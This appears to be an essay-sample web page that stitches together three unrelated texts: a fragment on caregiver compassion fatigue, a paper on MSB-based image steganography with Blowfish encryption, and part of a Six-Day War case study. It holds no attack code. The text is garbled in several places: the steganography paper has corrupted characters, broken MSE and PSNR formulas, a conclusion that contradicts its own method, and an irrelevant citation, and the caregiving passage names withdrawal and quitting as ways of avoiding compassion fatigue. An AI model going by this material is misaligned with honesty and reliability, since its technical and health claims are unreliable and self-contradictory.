Peer reviewded - Essay Example The compromise may be in the form of disruption in the performance of duties or personal relationships, or at times may lead to the change of personality of a person. Compassion fatigue exhibits itself in a number of ways through evident signs and symptoms. The most visible sign that a person is suffering from compassion fatigue is the fact that the person is tense and preoccupied with the individual in need of care and his/her disease. Signs that a person is suffering from compassion fatigue may include avoiding or the numbing of the feelings of the caregiver or avoiding certain thoughts or situations of the patient. The caregiver may suffer lapses of memories and may also show a consistent character of being tired despite sleeping for adequate number of hours or, conversely, suffer from insomnia. The caregiver may also start to absent him/herself from work, and other signs may include emotional depletion due to too much caring for the sick and loss of interest in activities that we re enjoyed previously. The caregiver also loses self-esteem, is susceptible to anger, depression and irritability and may find it difficult to find happiness or hope. There is also evident decreased productivity at both the workplace and home. A caregiver should try to avoid the complications that may make him/her suffer from the effects of compassion fatigue. There are many ways of avoiding compassion fatigue, and these are majorly the individual becoming more withdrawn due to the problem or the caregiver choosing to leave the job altogether. The physical, emotional and spiritual needs of the caregiver should be met in order that the person does not suffer from the effects of compassion fatigue. Understanding one’s needs as a caregiver helps one to accept what is happening and may assist in avoiding compassion fatigue. Therefore, being in control of physical needs as a caregiver is important for better healthcare and wellbeing. The caregiver should look after his own health through better nutrition, regular exercise and enough sleep to keep compassion fatigue at bay. Taking care of his/her emotional needs like avoiding instances or events that may lead one to depression should be considered. This can be achieved through referring to previous instances in which the caregiver has endured and coped emotionally. Accepting how one feels and express the feelings, for example, one may reflect on her/his sadness and happiness while at the same time maintaining a sense of humor. Spiritual needs like one’s faith are important for the caregiver and through their consideration, one is able to avoid falling into the trap of compassion fatigue (Ekedahl and Wengstro?m, 2008). This can be relieved by understanding that death is inevitable and occurs at some point in the lifetime of a person. Spiritual needs can be provided by the family, faith or the nature, and the caregiver must be in a position to comprehend the possibility of losing the patient they are tak ing care of. Strategies for Coping with Compassion Fatigue Taking care of oneself as a caregiver increases his/her ability to provide for the person in need of the palliative care. This is because one will be able to handle the increased physical and emotional pressures that the work of care

Image Steganography by Enhanced Pixel Indicator Method

Image Steganography by Enhanced Pixel Indicator Method Image Steganography by Enhanced Pixel Indicator Method Using Most Significant Bit (MSB) Compare Vijaya Raghava Kukapalli ,Dr.B. Tarakeswara Rao, Mr.B.Satyanarayana Reddy AbstractSteganography is one of the secure ways of protecting data. It provides secrete communication between user and client. The current paper presents an enhanced Pixel Indicator Method (PIM) by comparing three MSB bits at each pixel to embed the data. And we also use Blowfish algorithm to convert message into cipher text. By using the combination of these two techniques we can achieve greater complexity. Due to this mechanism proposed method makes the message difficult to be discovered with less distortion and embedding rates. Keywords: Steganography, Pixel Indicator, Blowfish, Distortions, Embedding Rates. INTRODUCTION Since the rise of the www (World Wide Web) one of the most important facts of Internet. Cryptography is one of the method through which we can achieve security. Two main methods of cryptography are encryption and decryption. By using these two techniques we can provide security for our secrete data. But there are some drawbacks in cryptography such as Brute-force attacks by which the intruders can identify the data. To avoid brute-force attacks it is necessary to have a larger key space [1]. And using Cryptanalysis the can extract the original data. Steganography is a technique to hide the secrete information. It I related to Cryptography is just about old technique. It was used by the Ancient Greeks to hide information from other troops. The word steganography I derived from the Greek word â€Å"stegos† meaning â€Å"cover† and â€Å"grapy† meaning â€Å"writing† defining as covered writing. Essentially information hiding is the main task of steganography. The embedding process creates a stego image which contains information. The basic method used to hide data in image is LSB technique. By using this technique we store the information in least significant bit of each pixel. One of the common encoding performed over the secret image before embedding is Huffman Encoding [2]. Steganography has two primary goals: 1) Security-It is the hidden data stored by either person or a computer.2) Capacity-It shows how much data can be hidden in a given cover image. These two goals are often in competition. As a result, steganography started to attract the attention of computer researchers and users. In fact, the goal of steganography is to hide the important information of communication by embedding the secrete data to transmit into a digital media file such as image or text files. OVERVIEW OF STEGANOGRAPHY Least Significant Bit (LSB) Method This is one of the most important and popular techniques of steganography. By this method, least significant bits of the pixel (in black white images) or colors are used to embed secret message bits. It is a good steganography mechanism since changes in a least significant bit yield few changes in the original image. The stego-image quality is improved by using LSB technique. In this technique, certain least significant bits of cover image are replaced with secrete data [3]. Suppose, for example, the by the American Standard Code for Information Interchange (ASCII) with the numerical value as 01000111, is replaced with the following pixel values (the underlined bits represent the embedded bits): Pixel 1= (R=00011101, G=00111010, B=11001010) =>(R=00011100, G=00111011, B=11001010) Pixel 2= (R=01011001, G=10011011, B=11001110) =>(R=01011000, G=10011010, B=11001111) Pixel 3= (R=10010100, G=10101001, B=00110000) =>(R=10010101, G=10101001, B=00110000) The LSB approaches are divided into two fixed- and variable-length categories [4]. By the fixed-length methods, a given number of least significant bits of a byte are selected for embedding the data. In the variable-length method an assortment numbers of least significant bits of the proposed byte are chosen [5]. Cleanness and the pace of little changes in the portrait are the advantages of these techniques, while the disadvantage includes the chance of fast revealing. Pixel Indicator Process Adnan Gutub(2010)[6] in reference developed a method where a single color among three color components of a pixel was served as the pixel indicator; meaning that it indicates which colors in the pixel contains hiding bits of a secret message. Random values are selected for the indicator of each pixel, based on which message bits are placed in other colors of that pixel. The indicator uses two bits inserted inside two least significant bits of a specific color considered as the indicator. To increase the security of this technique, the color chosen as the pixel indicator is varied, so in the first pixel, Red is the indicator, Green is Channel 1, and Blue is Channel 2. For second pixel, Green is the indicator for pixel, Red and Blue act as Channel 1 and Channel 2, respectively. Finally, in third pixel, Blue is the indicator, while Red and Green act as Channel 1,Channel 2. The embedding of message is flowcharted in Figure 1.Pixel Indicator Embedding Process Because of the application of indicator; this method needs a wide space and, obviously, registration of color Figure 1: Pixel indicator embedding process The study uses the basic model of LSB swap along with Pixel Indicator and follows the same but with different think [7].Two such methods are described here: one with evade indicator and other with recurring indicator.LSB swap offers enhanced quality and capacity. On the words, confidential data is entrenched in data channels by modifying the cover image bits. In his propose method we first estimate the mean and standard deviation of every pixel if the entire image.The accidental traversing path is used for embedding to increase messiness .The representation for this study is given by the author. Before embedding process starts up, each cover image submits itself to control by means of translation of matrix and modulo [8].Hence the cover image undergoes successive alterations even before embedding. The plan of calculating mean and also standard deviation increases the difficulty of embedding rates. PROPOSED SOLUTION The study uses the primary concept of LSB swap along with Pixel Indicator and follows the same but with different methodology .The technique uses the MSB bit of RGB channels of a pixel. The channels can be choose in random (or) in sequence i.e. RGB, RBG etc soon [9] .However the indicated MSB bits are available at random based on image size, quality and its properties. The relationship between the hidden data in 3 channels is shown in Table 1. Indicator values based action. TABLE 1: INDICATOR VALUES BASED ACTION We have selected the indicator channels in sequence that is Red, Green and Blue. And then we find the MSB bit of each channel to know the bits. Once we got the bits we needed then we can perform the following process. The process of encryption and decryption takes place before hiding and after retrieving original information. During the encryption and decryption both sender and receiver uses same key/password. The encryption technique we used here is Blowfish which is having key length from 32 bits to 448 bits and it uses symmetric block cipher. Blowfish is developed in 1993 by Bruce Schneier as an alternative to existing algorithms. Blowfish algorithm [10] is a Feistel Network in which there are 16 rounds. In each round different sub keys are used. The block size is of 64 bits and key can be any length up to 448 bits. Figure-2: Flow chart for embedding data Algorithm for embedding Read the cover image(C) and secrete data to be embedded (D). Converting the secrete data into cipher text using BLOWFISH algorithm. Extract the length of the secrete data and store it in first 8 bytes. Divide each pixel into R, G, and B planes. And find the MSB bits of the 3 planes. By using the Tabel-1 select the channels where you want to store data. Repeat the process till all the secrete data is stored. Store the resultant stego image. Algorithm for Extraction Read the stego image. Split the pixel into RGB channels and find the MSB bit of each channel. Compare the retrieved bits with the Table 1 to find the channels that contain data. Now get the encrypted data and perform the decryption process to get original data. Repeat the process until the all data is retrieved. RESULTS AND DISCUSSION The technique was implemented and tested in java. The technique accepts all mainly JPEG, PNG; BMP images of size 260Ãâ€"349.We can select a bmp image for testing the proposed Enhanced PIT algorithm. The PIT method is compared with the Stegoimage-1bit, Stegoimage-2bit, Stegoimage-3bit, Stegoimage-4bit. The approximate BMP image size used is 512 X 384 used to veil a text message of 11,733 characters length. The algorithm is used to hide 1-bit, 2-bits, to find the effect of transparency, security and capacity. Tests results showed different levels of diagrammatic inspections and histograms based study. For influence obligation the numbers of pixels used are recorded in each trial run. Figure 3: Original image Figure 4: Stego image Higher PSNR (Peak Signal-to-Noise Ratio) [11] indicates that the steganography images are of high feature and does not hunt for the interest of the intruder because if zilch image artifacts. MSE (Mean Squared Error) and PSNR (Peak Signal-to-Noise Ratio) are given by: MSE=)2 Where M, N=Dimensions of the image. Ci,j=The pixels in the original image. Si,j=The pixels of the stego image. PSNR=) DB Where, for color image =255. CONCLUSION The current paper provided a technique by exploiting differences made between colors to embed message bits in two least significant bits. Since color selection is based on color differences and values of variable N, the message will be hard to detect. Furthermore, as there is no need to insert additional information, changes in image will be small and image quality will be higher. Another important point to be mentioned is that embedding which is first applied on first least significant bits and, then, second least significant bits yields few changes in the original image for messages with small sizes. Because changes in second least significant bits will make more changes in color values. Therefore, it is likely to be avoided, unless this approach needs to be worked. ACKNOWLEDGEMENT First and foremost, I would like to be grateful Dr. B. Tarakeshwar Rao for his most support and encouragement. He benevolently read my paper and offered valuable meticulous advices on grammar, association, and the idea of the paper. Finally, I honestly thank to my parents and friends. REFERENCES [1] Enhanced chaotic key-based algorithm for low-entropy image encryptionYavuz, E.Yazici, R.Kasapbasi,M.C.Yamac, E.Signal Processing and Communications Applications Conference(SIU),s201422ndDOI:10.1109/SIU.2014.6830246Publication Year: 2014, Page(s): 385 388 [2] A novelsteganographymethod forimagebased on Huffman EncodingDas, R.;Tuithung, T.Emerging Trends and Applications in Computer Science (NCETACS), 2012, 3rdNationalConference nDOI:10.1109/NCETACS.2012.6203290Publication Year: 2012, Page(s): 14 18. [3] Enhancing the Security and Quality ofLSBBased ImageSteganographyAkhtar, N.Johri,P.Khan,S.Computational Intelligence and Communication Networks (CICN), 20135thInternationalConferenceonDOI:10.1109/CICN.2013.85Publication Year: 2013, Page(s): 385 390 [4] Potdar, Vidyasagar M., Song Han, and Elizabeth Chang,Finger printed secret sharing steganography for toughness against image crop attacks, INDIN05. 2005 3rd IEEE International Conference, 2005, pp. 717-724. [5] Lou, Der-Chyuan, and Jiang-Lung Liu, Steganographic method for secure communications, Computers Security 21, no. 5, 2002, pp. 449-460. [6] Gutub, Adnan, Mahmoud Ankeer, Muhammad Abu-Ghalioun, AbdulrahmanShaheen, and AleemAlvi, Pixel indicator soaring capacity performance for RGB image based Steganography, WoSPA 2008-5th IEEE International. [7] Evaluating image steganographytechniques: Future research challengesRoy, RatnakirtiChangder,Suvamoy;Sarkar,Anirban;Debnath,NarayanComputing, Management and Telecommunications (ComManTel), 2013 International Conference,onDOI:10.1109/ComManTel.2013.6482411 Publication Year: 2013, Page(s): 309 – 314. [8]Free vibration analysis of circular cylindrical shells using transfermatrixmethodGuanmoXieElectric Information and Control Engineering (ICEICE), 2011InternationalConferenceonDOI:10.1109/ICEICE.2011.5778195Publication Year: 2011, Page(s): 423 – 426. [9] RGBbased dual key imagesteganography Dagar, S.Confluence 2013: The Next Generation Information Technology Summit (4th International Conference)DOI:10.1049/cp.2013.2334Publication Year: 2013, Page(s): 316 320 [10] Security analysis ofblowfishalgorithmAlabaichi, A.;Ahmad, F.;Mahmod, R. Informatics and Applications (ICIA),2013 Second International Conference on DOI:10.1109/ICoIA.2013.6650222Publication Year: 2013, Page(s): 12 – 18. [11] Stego image quality and the reliability ofPSNRAlmohammad, A.;Ghinea, G. Image Processing Theory Tools and Applications (IPTA), 2010 2nd International Conference onDOI:10.1109/IPTA.2010.5586786Publication Year: 2010, Page(s): 215 – 220.

The Six Day War Essay -- Military History

The Six Day War Introduction History records the 1967 Arab-Israeli War (Six-Day War) as one of the most memorable on record. Israeli forces delivered a stunning defeat to a coalition of Arab forces that greatly outnumbered the much smaller Israeli force. Victory was made possible by the initial aerial attack launched by Israeli Air Forces. The elements of surprise, stealth, Operational Security (OPSEC), precision planning and flawless execution were essential to victory. The opening aerial offensive has been called â€Å"one of the most stunning successes in modern warfare† . This case study will review the history, preparation, execution, and lessons learned of this conflict. There is much profit for those who will study this war and consider the essential elements that made the impossible- possible. History The United Nations General Assembly voted for the establishment of an Israeli independent state on 29 November 1947. Independence was claimed on May 14th, 1948. Immediately, Arab nations were hostile towards the presence of a Jewish state. No peace was to be enjoyed. Arab legions surrounded Israeli camps and brutally attacked and slaughtered, even civilians. Uneasy relations continued and sporadic wars were to be required in order to preserve the Jewish state. In 1967, tensions were boiling; as another war was on the horizon. While the Jewish state was far out-numbered and surrounded by foes, the Jewish people were inspired to fight for their very survival. President Gamal Abdel Nasser, of Egypt, delivered unsettling, warmongering speeches that only served to further inspire the Israelis to fight with passion. â€Å"The Israelis had a courage and patriotism that made them try harder and more unselfishly† . The... ...ng design, which proved to be a detriment as they could easily be made unusable by a single bomb strike at the intersecting runways . In addition, nations invested in advanced technology, seeking better early warning radar systems. References Tucker, Spencer C., Battles that Changed History: An Encyclopedia of World Conflict, Santa Barbara, CA: ABC-CLIO, 2011 Weller, Jae, Israeli Armor: Lessons From the Six-Day War, Military Review Vol.51, No.11, Nov 1971 Rabinovich, Abraham, First Strike, The Quarterly Journal of Military History, Vol.2, No.3, Spring 1990 In Search of Peace: Part One 1948-1967. DVD. Moriah Films, 1997 Against All Odds: Six-Day War & Raid on Entebbe. DVD. A&E Television Networks, 1996 Dogfights: No Room for Error. DVD. A&E Television Networks, 2007 Dogfights: The Complete Season One, Volume Four. DVD. A&E Television Networks, 2006